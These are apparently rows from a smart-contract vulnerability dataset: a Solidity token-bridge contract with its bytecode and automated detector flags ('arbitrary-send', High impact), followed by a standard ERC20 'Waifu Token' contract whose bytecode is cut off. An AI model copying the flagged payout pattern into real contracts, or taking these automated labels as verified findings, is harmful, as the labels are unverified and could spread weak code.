uintStorage[keccak256("gasLimitWithdrawRelay")] = _gas;
emit GasConsumptionLimitsUpdated(_gas);
}
function withdraw(uint8[] vs, bytes32[] rs, bytes32[] ss, bytes message) external {
Message.hasEnoughValidSignatures(message, vs, rs, ss, validatorContract());
address recipient;
uint256 amount;
bytes32 txHash;
(recipient, amount, txHash) = Message.parseMessage(message);
require(withinForeignLimit(amount));
setTotalExecutedPerDay(getCurrentDay(), totalExecutedPerDay(getCurrentDay()).add(amount));
require(!withdraws(txHash));
setWithdraws(txHash, true);
// pay out recipient
if (!recipient.send(amount)) {
(new Sacrifice).value(amount)(recipient);
}
emit Withdraw(recipient, amount, txHash);
}
function setHomeDailyLimit(uint256 _homeDailyLimit) external onlyOwner {
uintStorage[keccak256("homeDailyLimit")] = _homeDailyLimit;
emit DailyLimit(_homeDailyLimit);
}
function setMaxPerTx(uint256 _maxPerTx) external onlyOwner {
require(_maxPerTx < homeDailyLimit());
uintStorage[keccak256("maxPerTx")] = _maxPerTx;
}
function setForeignDailyLimit(uint256 _foreignDailyLimit) external onlyOwner {
uintStorage[keccak256("foreignDailyLimit")] = _foreignDailyLimit;
emit ForeignDailyLimit(_foreignDailyLimit);
}
function setForeignMaxPerTx(uint256 _maxPerTx) external onlyOwner {
require(_maxPerTx < foreignDailyLimit());
uintStorage[keccak256("foreignMaxPerTx")] = _maxPerTx;
}
function setMinPerTx(uint256 _minPerTx) external onlyOwner {
require(_minPerTx < homeDailyLimit() && _minPerTx < maxPerTx());
uintStorage[keccak256("minPerTx")] = _minPerTx;
}
function minPerTx() public view returns(uint256) {
return uintStorage[keccak256("minPerTx")];
}
function getCurrentDay() public view returns(uint256) {
return now / 1 days;
}
function maxPerTx() public view returns(uint256) {
return uintStorage[keccak256("maxPerTx")];
}
function foreignMaxPerTx() public view returns(uint256) {
return uintStorage[keccak256("foreignMaxPerTx")];
}
function withinLimit(uint256 _amount) public view returns(bool) {
uint256 nextLimit = totalSpentPerDay(getCurrentDay()).add(_amount);
return homeDailyLimit() >= nextLimit && _amount <= maxPerTx() && _amount >= minPerTx();
}
function withinForeignLimit(uint256 _amount) public view returns(bool) {
uint256 nextLimit = totalExecutedPerDay(getCurrentDay()).add(_amount);
return foreignDailyLimit() >= nextLimit && _amount <= foreignMaxPerTx();
}
function isInitialized() public view returns(bool) {
return boolStorage[keccak256("isInitialized")];
}
function setTotalSpentPerDay(uint256 _day, uint256 _value) private {
uintStorage[keccak256("totalSpentPerDay", _day)] = _value;
}
function setTotalExecutedPerDay(uint256 _day, uint256 _value) private {
uintStorage[keccak256("totalExecutedPerDay", _day)] = _value;
}
function setWithdraws(bytes32 _withdraw, bool _status) private {
boolStorage[keccak256("withdraws", _withdraw)] = _status;
}
function setInitialize(bool _status) private {
boolStorage[keccak256("isInitialized")] = _status;
}
}
|
0x6080604052600436106101715763ffffffff60e060020a60003504166306b8e0e481146102095780632bd0bb051461023557806333a2e68d1461025f578063392e53cd146102745780633e6968b6146102895780633f0a9f651461029e57806345ff4c80146102b35780634fb3fef7146102e35780637d9abf9f146102fb578063857cfff9146103105780638a2a60ef146103255780638da5cb5b1461033a578063994390891461036b5780639a454b99146103805780639ce318f614610395578063a2a6ca27146103db578063acf5c689146103f3578063b2355b421461040b578063b990d9e514610423578063bf1fe4201461043b578063c6f6f21614610453578063c9cc62851461046b578063cbbc8a5114610480578063cd6b61ce14610498578063df0ad3de146104b0578063df25f3f0146104c5578063e09ab428146104da578063ea9f4968146104f2578063f2fde38b1461050a578063f968adbe1461052b578063fe173b9714610540575b6000341161017e57600080fd5b361561018957600080fd5b61019234610555565b151561019d57600080fd5b6101cd6101a86105a1565b6101c8346101bc6101b76105a1565b6105aa565b9063ffffffff6105f416565b61060e565b6040805133815234602082015281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a1005b34801561021557600080fd5b5061022160043561065a565b604080519115158252519081900360200190f35b34801561024157600080fd5b5061024d6004356105aa565b60408051918252519081900360200190f35b34801561026b57600080fd5b5061024d610697565b34801561028057600080fd5b506102216106d8565b34801561029557600080fd5b5061024d6105a1565b3480156102aa57600080fd5b5061024d61071c565b3480156102bf57600080fd5b50610221600160a060020a036004351660243560443560643560843560a43561075d565b3480156102ef57600080fd5b5061024d6004356109a0565b34801561030757600080fd5b5061024d6109ea565b34801561031c57600080fd5b5061024d610a2b565b34801561033157600080fd5b5061024d610a6c565b34801561034657600080fd5b5061034f610aad565b60408051600160a060020a039092168252519081900360200190f35b34801561037757600080fd5b5061034f610af7565b34801561038c57600080fd5b5061024d610b41565b3480156103a157600080fd5b506103d96024600480358281019290820135918135808301929082013591604435808301929082013591606435918201910135610b82565b005b3480156103e757600080fd5b506103d9600435610da5565b3480156103ff57600080fd5b506103d9600435610e28565b34801561041757600080fd5b506103d9600435610ec7565b34801561042f57600080fd5b506103d9600435610f59565b34801561044757600080fd5b506103d9600435610feb565b34801561045f57600080fd5b506103d960043561108a565b34801561047757600080fd5b506103d96110f9565b34801561048c57600080fd5b506103d9600435611191565b3480156104a457600080fd5b506103d9600435611223565b3480156104bc57600080fd5b5061034f611292565b3480156104d157600080fd5b5061024d611303565b3480156104e657600080fd5b50610221600435611344565b3480156104fe57600080fd5b50610221600435610555565b34801561051657600080fd5b506103d9600160a060020a0360043516611391565b34801561053757600080fd5b5061024d6113ce565b34801561054c57600080fd5b5061024d61140f565b600080610567836101bc6101b76105a1565b905080610572610a2b565b1015801561058757506105836113ce565b8311155b801561059a5750610596611303565b8310155b9392505050565b62015180420490565b604080517f746f74616c5370656e74506572446179000000000000000000000000000000008152601081018390528151908190036030019020600090815260208190522054919050565b60008282018381101561060357fe5b8091505b5092915050565b604080517f746f74616c5370656e745065724461790000000000000000000000000000000081526010810193909352805192839003603001909220600090815260208190529190912055565b600080610671836101bc61066c6105a1565b6109a0565b90508061067c610a6c565b1015801561059a575061068d610697565b9092111592915050565b604080517f666f726569676e4d6178506572547800000000000000000000000000000000008152815190819003600f01902060009081526020819052205490565b604080517f6973496e697469616c697a6564000000000000000000000000000000000000008152815190819003600d01902060009081526004602052205460ff1690565b604080517f7265717569726564426c6f636b436f6e6669726d6174696f6e730000000000008152815190819003601a01902060009081526020819052205490565b60006107676106d8565b1561077157600080fd5b600160a060020a038716151561078657600080fd5b6000831161079357600080fd5b600082116107a057600080fd5b6000841180156107af57508385115b80156107ba57508486115b15156107c557600080fd5b604080517f76616c696461746f72436f6e7472616374000000000000000000000000000000815281519081900360110181206000908152600260209081528382208054600160a060020a038d1673ffffffffffffffffffffffffffffffffffffffff199091161790557f6465706c6f7965644174426c6f636b00000000000000000000000000000000008352835192839003600f01832082528181528382204390557f686f6d654461696c794c696d69740000000000000000000000000000000000008352835192839003600e01832082528181528382208a90557f6d6178506572547800000000000000000000000000000000000000000000000083528351928390036008908101842083528282528483208a90557f6d696e506572547800000000000000000000000000000000000000000000000084528451938490038101842083528282528483208990557f6761735072696365000000000000000000000000000000000000000000000000845284519384900301832082528181528382208790557f7265717569726564426c6f636b436f6e6669726d6174696f6e730000000000008352835192839003601a019092208152908190522082905561098d6001611450565b6109956106d8565b979650505050505050565b604080517f746f74616c4578656375746564506572446179000000000000000000000000008152601381018390528151908190036033019020600090815260208190522054919050565b604080517f6761734c696d6974576974686472617752656c617900000000000000000000008152815190819003601501902060009081526020819052205490565b604080517f686f6d654461696c794c696d69740000000000000000000000000000000000008152815190819003600e01902060009081526020819052205490565b604080517f666f726569676e4461696c794c696d69740000000000000000000000000000008152815190819003601101902060009081526020819052205490565b604080517f6f776e657200000000000000000000000000000000000000000000000000000081528151908190036005019020600090815260026020522054600160a060020a031690565b604080517f76616c696461746f72436f6e747261637400000000000000000000000000000081528151908190036011019020600090815260026020522054600160a060020a031690565b604080517f6465706c6f7965644174426c6f636b00000000000000000000000000000000008152815190819003600f01902060009081526020819052205490565b6000806000610c5985858080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508c8c808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508b8b808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050508a8a8080602002602001604051908101604052809392919081815260200183836020028082843750610c549450610af79350505050565b6114a0565b610c9285858080601f0160208091040260200160405190810160405280939291908181526020018383808284375061170d945050505050565b91945092509050610ca28261065a565b1515610cad57600080fd5b610ccc610cb86105a1565b610cc7846101bc61066c6105a1565b611747565b610cd581611344565b15610cdf57600080fd5b610cea816001611793565b604051600160a060020a0384169083156108fc029084906000818181858888f193505050501515610d4f578183610d1f611a67565b600160a060020a039091168152604051908190036020019082f080158015610d4b573d6000803e3d6000fd5b5050505b60408051600160a060020a03851681526020810184905280820183905290517f4d911754a3efbbc2e0463de4f6bff32ed24421d1c89c11dce59a4935f327afff9181900360600190a15050505050505050505050565b610dad610aad565b600160a060020a03163314610dc157600080fd5b610dc9610a2b565b81108015610ddd5750610dda6113ce565b81105b1515610de857600080fd5b604080517f6d696e506572547800000000000000000000000000000000000000000000000081528151908190036008019020600090815260208190522055565b610e30610aad565b600160a060020a03163314610e4457600080fd5b60008111610e5157600080fd5b604080517f7265717569726564426c6f636b436f6e6669726d6174696f6e730000000000008152815190819003601a018120600090815260208181529083902084905583825291517f4fb76205cd57c896b21511d2114137d8e901b4ccd659e1a0f97d6306795264fb929181900390910190a150565b610ecf610aad565b600160a060020a03163314610ee357600080fd5b604080517f686f6d654461696c794c696d69740000000000000000000000000000000000008152815190819003600e018120600090815260208181529083902084905583825291517f8d797628d21ca877e321aa59bc2d55eba59ae001c5294d433797019caebab2ab929181900390910190a150565b610f61610aad565b600160a060020a03163314610f7557600080fd5b604080517f6761734c696d6974576974686472617752656c6179000000000000000000000081528151908190036015018120600090815260208181529083902084905583825291517fbc1d98201a811bd8a296dd081bdba0072c36c75708b7e66b72db806e1050670c929181900390910190a150565b610ff3610aad565b600160a060020a0316331461100757600080fd5b6000811161101457600080fd5b604080517f676173507269636500000000000000000000000000000000000000000000000081528151908190036008018120600090815260208181529083902084905583825291517f52264b89e0fceafb26e79fd49ef8a366eb6297483bf4035b027f0c99a7ad512e929181900390910190a150565b611092610aad565b600160a060020a031633146110a657600080fd5b6110ae610a2b565b81106110b957600080fd5b604080517f6d6178506572547800000000000000000000000000000000000000000000000081528151908190036008019020600090815260208190522055565b6000611103610aad565b600160a060020a03161461111657600080fd5b61118f611121610af7565b600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561115e57600080fd5b505af1158015611172573d6000803e3d6000fd5b505050506040513d602081101561118857600080fd5b50516117ef565b565b611199610aad565b600160a060020a031633146111ad57600080fd5b604080517f666f726569676e4461696c794c696d697400000000000000000000000000000081528151908190036011018120600090815260208181529083902084905583825291517fb1c0221e3e98ff120c9dd055b5d13e914a7a9466c624d72617d3c41da25e7a2b929181900390910190a150565b61122b610aad565b600160a060020a0316331461123f57600080fd5b611247610a6c565b811061125257600080fd5b604080517f666f726569676e4d6178506572547800000000000000000000000000000000008152815190819003600f019020600090815260208190522055565b600030600160a060020a031663025313a26040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156112d257600080fd5b505af11580156112e6573d6000803e3d6000fd5b505050506040513d60208110156112fc57600080fd5b5051905090565b604080517f6d696e50657254780000000000000000000000000000000000000000000000008152815190819003600801902060009081526020819052205490565b604080517f7769746864726177730000000000000000000000000000000000000000000000815260098101839052815190819003602901902060009081526004602052205460ff16919050565b611399610aad565b600160a060020a031633146113ad57600080fd5b600160a060020a03811615156113c257600080fd5b6113cb816117ef565b50565b604080517f6d617850657254780000000000000000000000000000000000000000000000008152815190819003600801902060009081526020819052205490565b604080517f67617350726963650000000000000000000000000000000000000000000000008152815190819003600801902060009081526020819052205490565b604080517f6973496e697469616c697a6564000000000000000000000000000000000000008152815190819003600d0190206000908152600460205220805491151560ff19909216919091179055565b60008060606000806114b18a6118a5565b15156114bc57600080fd5b85600160a060020a0316638d0680436040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156114fa57600080fd5b505af115801561150e573d6000803e3d6000fd5b505050506040513d602081101561152457600080fd5b5051895190955085111561153757600080fd5b6115408a6118ac565b93508460405190808252806020026020018201604052801561156c578160200160208202803883390190505b509250600091505b84821015611701576001848a8481518110151561158d57fe5b906020019060200201518a858151811015156115a557fe5b906020019060200201518a868151811015156115bd57fe5b60209081029091018101516040805160008082528185018084529790975260ff9095168582015260608501939093526080840152905160a0808401949293601f19830193908390039091019190865af115801561161e573d6000803e3d6000fd5b50505060206040510351905085600160a060020a031663facd743b826040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561168557600080fd5b505af1158015611699573d6000803e3d6000fd5b505050506040513d60208110156116af57600080fd5b505115156116bc57600080fd5b6116c68382611a0e565b156116d057600080fd5b8083838151811015156116df57fe5b600160a060020a03909216602092830290910190910152600190910190611574565b50505050505050505050565b600080600061171b846118a5565b151561172657600080fd5b50505060148101516034820151605490920151600160a060020a0390911692565b604080517f746f74616c45786563757465645065724461790000000000000000000000000081526013810193909352805192839003603301909220600090815260208190529190912055565b604080517f7769746864726177730000000000000000000000000000000000000000000000815260098101939093528051928390036029019092206000908152600460205291909120805491151560ff19909216919091179055565b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0611818610aad565b60408051600160a060020a03928316815291841660208301528051918290030190a1604080517f6f776e65720000000000000000000000000000000000000000000000000000008152815190819003600501902060009081526002602052208054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff19909216919091179055565b5160741490565b604080518082018252601a81527f19457468657265756d205369676e6564204d6573736167653a0a000000000000602080830191825283518085018552600381527f313136000000000000000000000000000000000000000000000000000000000091810191909152925182516000949284928492889282918083835b602083106119485780518252601f199092019160209182019101611929565b51815160209384036101000a600019018019909216911617905286519190930192860191508083835b602083106119905780518252601f199092019160209182019101611971565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106119d85780518252601f1990920191602091820191016119b9565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209998505050505050505050565b6000805b8351811015611a5d5782600160a060020a03168482815181101515611a3357fe5b90602001906020020151600160a060020a03161415611a555760019150610607565b600101611a12565b5060009392505050565b604051602180611a77833901905600608060405260405160208060218339810160405251600160a060020a038116ff00a165627a7a723058203a1297a91abfd62f96cf9058ee8b07391d81de99270c6daa2e54c91f786abfcd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,738 |
0xcf3ef877ea7311452d182b4914793411f4a9b4b3
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract WaifuToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = (10**12) * (10 ** 18);
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() {
_name = "Waifu Token";
_symbol = "WAIFU";
_mint(msg.sender, _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610c3e565b60405180910390f35b6100e660048036038101906100e19190610cf9565b610308565b6040516100f39190610d54565b60405180910390f35b610104610326565b6040516101119190610d7e565b60405180910390f35b610134600480360381019061012f9190610d99565b610330565b6040516101419190610d54565b60405180910390f35b610152610428565b60405161015f9190610e08565b60405180910390f35b610182600480360381019061017d9190610cf9565b610431565b60405161018f9190610d54565b60405180910390f35b6101b260048036038101906101ad9190610e23565b6104dd565b6040516101bf9190610d7e565b60405180910390f35b6101d0610525565b6040516101dd9190610c3e565b60405180910390f35b61020060048036038101906101fb9190610cf9565b6105b7565b60405161020d9190610d54565b60405180910390f35b610230600480360381019061022b9190610cf9565b6106a2565b60405161023d9190610d54565b60405180910390f35b610260600480360381019061025b9190610e50565b6106c0565b60405161026d9190610d7e565b60405180910390f35b60606003805461028590610ebf565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190610ebf565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610f63565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610fb2565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490610ebf565b80601f016020809104026020016040519081016040528092919081815260200182805461056090610ebf565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a9061107a565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061110c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061119e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610d7e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190611230565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f1906112c2565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815